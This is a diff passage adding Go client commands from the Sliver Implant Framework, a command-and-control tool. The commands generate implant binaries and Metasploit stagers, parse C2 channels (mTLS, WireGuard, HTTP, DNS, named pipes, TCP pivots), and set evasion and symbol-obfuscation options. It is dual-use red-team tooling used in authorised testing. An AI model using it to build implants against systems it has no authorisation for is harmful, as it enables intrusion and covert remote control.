+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
+func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to get compiler information: %s\n", err)
+		return
+	}
+	con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
+	con.Println()
+	con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
+	for _, cc := range compiler.CrossCompilers {
+		con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
+	}
+	con.Println()
+	con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
+	for _, target := range compiler.Targets {
+		con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+	}
+	con.Println()
+	con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
+	for _, target := range compiler.UnsupportedTargets {
+		con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
+	}
+}

client/command/generate/generate-stager.go

@@ -0,0 +1,117 @@
+package generate
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// GenerateStagerCmd - Generate a stager using Metasploit
+func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var stageProto clientpb.StageProtocol
+	lhost := ctx.Flags.String("lhost")
+	if lhost == "" {
+		con.PrintErrorf("Please specify a listening host")
+		return
+	}
+	match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
+	if err != nil {
+		return
+	}
+	if !match {
+		addr, err := net.LookupHost(lhost)
+		if err != nil {
+			con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
+			return
+		}
+		if len(addr) > 1 {
+			prompt := &survey.Select{
+				Message: "Select an address",
+				Options: addr,
+			}
+			err := survey.AskOne(prompt, &lhost)
+			if err != nil {
+				con.PrintErrorf("Error: %v\n", err)
+				return
+			}
+		} else {
+			lhost = addr[0]
+		}
+	}
+	lport := ctx.Flags.Int("lport")
+	stageOS := ctx.Flags.String("os")
+	arch := ctx.Flags.String("arch")
+	proto := ctx.Flags.String("protocol")
+	format := ctx.Flags.String("format")
+	badchars := ctx.Flags.String("badchars")
+	save := ctx.Flags.String("save")
+
+	bChars := make([]string, 0)
+	if len(badchars) > 0 {
+		for _, b := range strings.Split(badchars, " ") {
+			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
+		}
+	}
+
+	switch proto {
+	case "tcp":
+		stageProto = clientpb.StageProtocol_TCP
+	case "http":
+		stageProto = clientpb.StageProtocol_HTTP
+	case "https":
+		stageProto = clientpb.StageProtocol_HTTPS
+	default:
+		con.PrintErrorf("%s staging protocol not supported\n", proto)
+		return
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil("Generating stager, please wait ...", ctrl)
+	stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
+		Arch:     arch,
+		BadChars: bChars,
+		Format:   format,
+		Host:     lhost,
+		Port:     uint32(lport),
+		Protocol: stageProto,
+		OS:       stageOS,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+
+	if save != "" || format == "raw" {
+		saveTo, _ := filepath.Abs(save)
+		fi, err := os.Stat(saveTo)
+		if err != nil {
+			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
+			return
+		}
+		if fi.IsDir() {
+			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
+		}
+		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		if err != nil {
+			con.PrintErrorf("Failed to write to: %s\n", saveTo)
+			return
+		}
+		con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
+	} else {
+		con.PrintInfof("Here's your stager:")
+		con.Println(string(stageFile.GetFile().GetData()))
+	}
+}

client/command/generate/generate.go

@@ -0,0 +1,725 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"net"
+	"net/url"
+	"os"
+	"path"
+	"path/filepath"
+	"regexp"
+	"runtime"
+	"strings"
+
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	// DefaultMTLSLPort is the default port for mtls
+	DefaultMTLSLPort = 8888
+	// DefaultWGPort is the default port for wg
+	DefaultWGLPort = 53
+	// DefaultWGNPort is the default n port for wg
+	DefaultWGNPort = 8888
+	// DefaultWGKeyExPort is the default port for wg key exchange
+	DefaultWGKeyExPort = 1337
+	// DefaultHTTPLPort is the default port for http
+	DefaultHTTPLPort = 80
+	// DefaultHTTPSLPort is the default port for https
+	DefaultHTTPSLPort = 443
+	// DefaultDNSLPortis the default port for dns
+	DefaultDNSLPort = 53
+	// DefaultTCPPivotPort is the default port for tcp pivots
+	DefaultTCPPivotPort = 9898
+
+	// DefaultReconnect is the default reconnect time
+	DefaultReconnect = 60
+	// DefaultPollTimeout is the default poll timeout
+	DefaultPollTimeout = 360 // 6 minutes
+	// DefaultMaxErrors is the default max reconnection errors before giving up
+	DefaultMaxErrors = 1000
+)
+
+const (
+	crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
+)
+
+var (
+	// SupportedCompilerTargets - Supported compiler targets
+	SupportedCompilerTargets = map[string]bool{
+		"darwin/amd64":  true,
+		"darwin/arm64":  true,
+		"linux/386":     true,
+		"linux/amd64":   true,
+		"windows/386":   true,
+		"windows/amd64": true,
+	}
+)
+
+// GenerateCmd - The main command used to generate implant binaries
+func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func expandPath(path string) string {
+	// unless path starts with ~
+	if len(path) == 0 || path[0] != 126 {
+		return path
+	}
+
+	return filepath.Join(os.Getenv("HOME"), path[1:])
+}
+
+func saveLocation(save, DefaultName string) (string, error) {
+	var saveTo string
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	save = expandPath(save)
+	fi, err := os.Stat(save)
+	if os.IsNotExist(err) {
+		log.Printf("%s does not exist\n", save)
+		if strings.HasSuffix(save, "/") {
+			log.Printf("%s is dir\n", save)
+			os.MkdirAll(save, 0700)
+			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+		} else {
+			log.Printf("%s is not dir\n", save)
+			saveDir := filepath.Dir(save)
+			_, err := os.Stat(saveTo)
+			if os.IsNotExist(err) {
+				os.MkdirAll(saveDir, 0700)
+			}
+			saveTo, _ = filepath.Abs(save)
+		}
+	} else {
+		log.Printf("%s does exist\n", save)
+		if fi.IsDir() {
+			log.Printf("%s is dir\n", save)
+			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+		} else {
+			log.Printf("%s is not dir\n", save)
+			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return "", errors.New("file already exists")
+			}
+			saveTo, _ = filepath.Abs(save)
+		}
+	}
+	return saveTo, nil
+}
+
+func nameOfOutputFormat(value clientpb.OutputFormat) string {
+	switch value {
+	case clientpb.OutputFormat_EXECUTABLE:
+		return "Executable"
+	case clientpb.OutputFormat_SERVICE:
+		return "Service"
+	case clientpb.OutputFormat_SHARED_LIB:
+		return "Shared Library"
+	case clientpb.OutputFormat_SHELLCODE:
+		return "Shellcode"
+	}
+	panic(fmt.Sprintf("Unknown format %v", value))
+}
+
+// Shared function that extracts the compile flags from the grumble context
+func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
+	var name string
+	if ctx.Flags["name"] != nil {
+		name = strings.ToLower(ctx.Flags.String("name"))
+
+		if name != "" {
+			isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
+			if !isAlphanumeric(name) {
+				con.PrintErrorf("Implant's name must be in alphanumeric only\n")
+				return nil
+			}
+		}
+	}
+
+	c2s := []*clientpb.ImplantC2{}
+
+	mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, mtlsC2...)
+
+	wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, wgC2...)
+
+	httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, httpC2...)
+
+	dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, dnsC2...)
+
+	namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, namedPipeC2...)
+
+	tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err.Error())
+		return nil
+	}
+	c2s = append(c2s, tcpPivotC2...)
+
+	var symbolObfuscation bool
+	if ctx.Flags.Bool("debug") {
+		symbolObfuscation = false
+	} else {
+		symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
+	}
+
+	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+		con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
+		return nil
+	}
+
+	rawCanaries := ctx.Flags.String("canary")
+	canaryDomains := []string{}
+	if 0 < len(rawCanaries) {
+		for _, canaryDomain := range strings.Split(rawCanaries, ",") {
+			if !strings.HasSuffix(canaryDomain, ".") {
+				canaryDomain += "." // Ensure we have the FQDN
+			}
+			canaryDomains = append(canaryDomains, canaryDomain)
+		}
+	}
+
+	reconnectInterval := ctx.Flags.Int("reconnect")
+	pollTimeout := ctx.Flags.Int("poll-timeout")
+	maxConnectionErrors := ctx.Flags.Int("max-errors")
+
+	limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
+	limitHostname := ctx.Flags.String("limit-hostname")
+	limitUsername := ctx.Flags.String("limit-username")
+	limitDatetime := ctx.Flags.String("limit-datetime")
+	limitFileExists := ctx.Flags.String("limit-fileexists")
+
+	isSharedLib := false
+	isService := false
+	isShellcode := false
+
+	format := ctx.Flags.String("format")
+	runAtLoad := false
+	var configFormat clientpb.OutputFormat
+	switch format {
+	case "exe":
+		configFormat = clientpb.OutputFormat_EXECUTABLE
+	case "shared":
+		configFormat = clientpb.OutputFormat_SHARED_LIB
+		isSharedLib = true
+		runAtLoad = ctx.Flags.Bool("run-at-load")
+	case "shellcode":
+		configFormat = clientpb.OutputFormat_SHELLCODE
+		isShellcode = true
+	case "service":
+		configFormat = clientpb.OutputFormat_SERVICE
+		isService = true
+	default:
+		// Default to exe
+		configFormat = clientpb.OutputFormat_EXECUTABLE
+	}
+
+	targetOS := strings.ToLower(ctx.Flags.String("os"))
+	targetArch := strings.ToLower(ctx.Flags.String("arch"))
+	targetOS, targetArch = getTargets(targetOS, targetArch, con)
+	if targetOS == "" || targetArch == "" {
+		return nil
+	}
+	if len(namedPipeC2) > 0 && targetOS != "windows" {
+		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
+		return nil
+	}
+
+	// Check to see if we can *probably* build the target binary
+	if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
+		return nil
+	}
+
+	var tunIP net.IP
+	if wg := ctx.Flags.String("wg"); wg != "" {
+		uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
+		tunIP = net.ParseIP(uniqueWGIP.IP)
+		if err != nil {
+			con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
+			return nil
+		}
+		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
+	}
+
+	config := &clientpb.ImplantConfig{
+		GOOS:             targetOS,
+		GOARCH:           targetArch,
+		Name:             name,
+		Debug:            ctx.Flags.Bool("debug"),
+		Evasion:          ctx.Flags.Bool("evasion"),
+		ObfuscateSymbols: symbolObfuscation,
+		C2:               c2s,
+		CanaryDomains:    canaryDomains,
+
+		WGPeerTunIP:       tunIP.String(),
+		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
+		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
+
+		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
+		PollTimeout:         int64(pollTimeout) * int64(time.Second),
+		MaxConnectionErrors: uint32(maxConnectionErrors),
+
+		LimitDomainJoined: limitDomainJoined,
+		LimitHostname:     limitHostname,
+		LimitUsername:     limitUsername,
+		LimitDatetime:     limitDatetime,
+		LimitFileExists:   limitFileExists,
+
+		Format:      configFormat,
+		IsSharedLib: isSharedLib,
+		IsService:   isService,
+		IsShellcode: isShellcode,
+
+		RunAtLoad: runAtLoad,
+	}
+
+	return config
+}
+
+func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
+
+	/* For UX we convert some synonymous terms */
+	if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
+		targetOS = "darwin"
+	}
+	if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
+		targetOS = "windows"
+	}
+	if targetOS == "linux" || targetOS == "lin" {
+		targetOS = "linux"
+	}
+
+	if targetArch == "amd64" || targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
+		targetArch = "amd64"
+	}
+	if targetArch == "386" || targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
+		targetArch = "386"
+	}
+
+	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
+	if _, ok := SupportedCompilerTargets[target]; !ok {
+		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
+			console.Bold, target, console.Normal,
+		)
+		con.Printf("⚠️  Generic implants do not support all commands/features.\n")
+		prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
+		var confirm bool
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return "", ""
+		}
+	}
+
+	return targetOS, targetArch
+}
+
+// ParseMTLSc2 - Parse mtls connection string arg
+func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "mtls://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "mtls" {
+			return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
+		}
+		if uri.Port() == "" {
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseWGc2 - Parse wg connect string arg
+func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "wg://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "wg" {
+			return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
+		}
+		if uri.Port() == "" {
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseHTTPc2 - Parse HTTP connection string arg
+func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "http" && uri.Scheme != "https" {
+			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseDNSc2 - Parse DNS connection string arg
+func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "dns://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "dns" {
+			return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseNamedPipec2 - Parse named pipe connection string arg
+func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		arg = strings.ReplaceAll(arg, "\\", "/")
+		arg = strings.TrimPrefix(arg, "/")
+		arg = strings.TrimPrefix(arg, "/")
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "namedpipe://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "namedpipe" {
+			return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
+		}
+
+		if !strings.HasPrefix(uri.Path, "/pipe/") {
+			prompt := &survey.Confirm{
+				Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
+			}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
+			}
+		}
+
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseTCPPivotc2 - Parse tcp pivot connection string arg
+func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "tcp-pivot://") {
+			arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
+		}
+		if strings.HasPrefix(arg, "tcppivot://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		if uri.Scheme != "tcppivot" {
+			return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
+		}
+		if uri.Port() == "" {
+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+
+	start := time.Now()
+	ctrl := make(chan bool)
+	con.SpinUntil("Compiling, please wait ...", ctrl)
+
+	generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
+		Config: config,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+
+	end := time.Now()
+	elapsed := time.Time{}.Add(end.Sub(start))
+	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	if len(generated.File.Data) == 0 {
+		con.PrintErrorf("Build failed, no file data\n")
+		return nil, errors.New("no file data")
+	}
+
+	saveTo, err := saveLocation(save, generated.File.Name)
+	if err != nil {
+		return nil, err
+	}
+
+	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+	return generated.File, err
+}
+
+func getLimitsString(config *clientpb.ImplantConfig) string {
+	limits := []string{}
+	if config.LimitDatetime != "" {
+		limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
+	}
+	if config.LimitDomainJoined {
+		limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
+	}
+	if config.LimitUsername != "" {
+		limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
+	}
+	if config.LimitHostname != "" {
+		limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
+	}
+	if config.LimitFileExists != "" {
+		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
+	}
+	return strings.Join(limits, "; ")
+}
+
+func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	if format == clientpb.OutputFormat_EXECUTABLE {
+		return true // We don't need cross-compilers when targeting EXECUTABLE formats
+	}
+
+	compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to check target compatibility: %s\n", err)
+		return true
+	}
+
+	if runtime.GOOS != "windows" && targetOS == "windows" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "darwin" && targetOS == "darwin" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "linux" && targetOS == "linux" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	return true
+}
+
+func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
+	for _, cc := range crossCompilers {
+		if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
+			return true
+		}
+	}
+	return false
+}
+
+func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
+	switch targetOS {
+	case "windows":
+		con.PrintWarnf("The server cannot find an installation of mingw")
+	case "darwin":
+		con.PrintWarnf("The server cannot find an installation of osxcross")
+	case "linux":
+		con.PrintWarnf("The server cannot find an installation of musl-cross")
+	}
+	con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
+
+	confirm := false
+	prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
+	survey.AskOne(prompt, &confirm, nil)
+	return confirm
+}

client/command/generate/helpers.go

@@ -0,0 +1,57 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// GetSliverBinary - Get the binary of an implant based on it's profile
+func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
+	var data []byte
+	// get implant builds
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return data, err
+	}
+
+	implantName := buildImplantName(profile.GetConfig().GetName())
+	_, ok := builds.GetConfigs()[implantName]
+	if implantName == "" || !ok {
+		// no built implant found for profile, generate a new one
+		con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
+		ctrl := make(chan bool)
+		con.SpinUntil("Compiling, please wait ...", ctrl)
+
+		generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
+			Config: profile.Config,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("Error generating implant\n")
+			return data, err
+		}
+		data = generated.GetFile().GetData()
+		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+		if err != nil {
+			con.PrintErrorf("Error updating implant profile\n")
+			return data, err
+		}
+	} else {
+		// Found a build, reuse that one
+		con.PrintInfof("Sliver name for profile: %s\n", implantName)
+		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+			ImplantName: profile.GetConfig().GetName(),
+		})
+
+		if err != nil {
+			return data, err
+		}
+		data = regenerate.GetFile().GetData()
+	}
+	return data, err
+}

client/command/generate/implants-rm.go

@@ -0,0 +1,38 @@
+package generate
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ImplantsRmCmd - Deletes an archived implant build from the server
+func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("No name specified\n")
+		return
+	}
+	build := ImplantBuildByName(name, con)
+	if build == nil {
+		con.PrintErrorf("No implant build found with name '%s'\n", name)
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
+		Name: name,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to delete implant %s\n", err)
+		return
+	}
+}

client/command/generate/implants.go

@@ -0,0 +1,166 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"sort"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
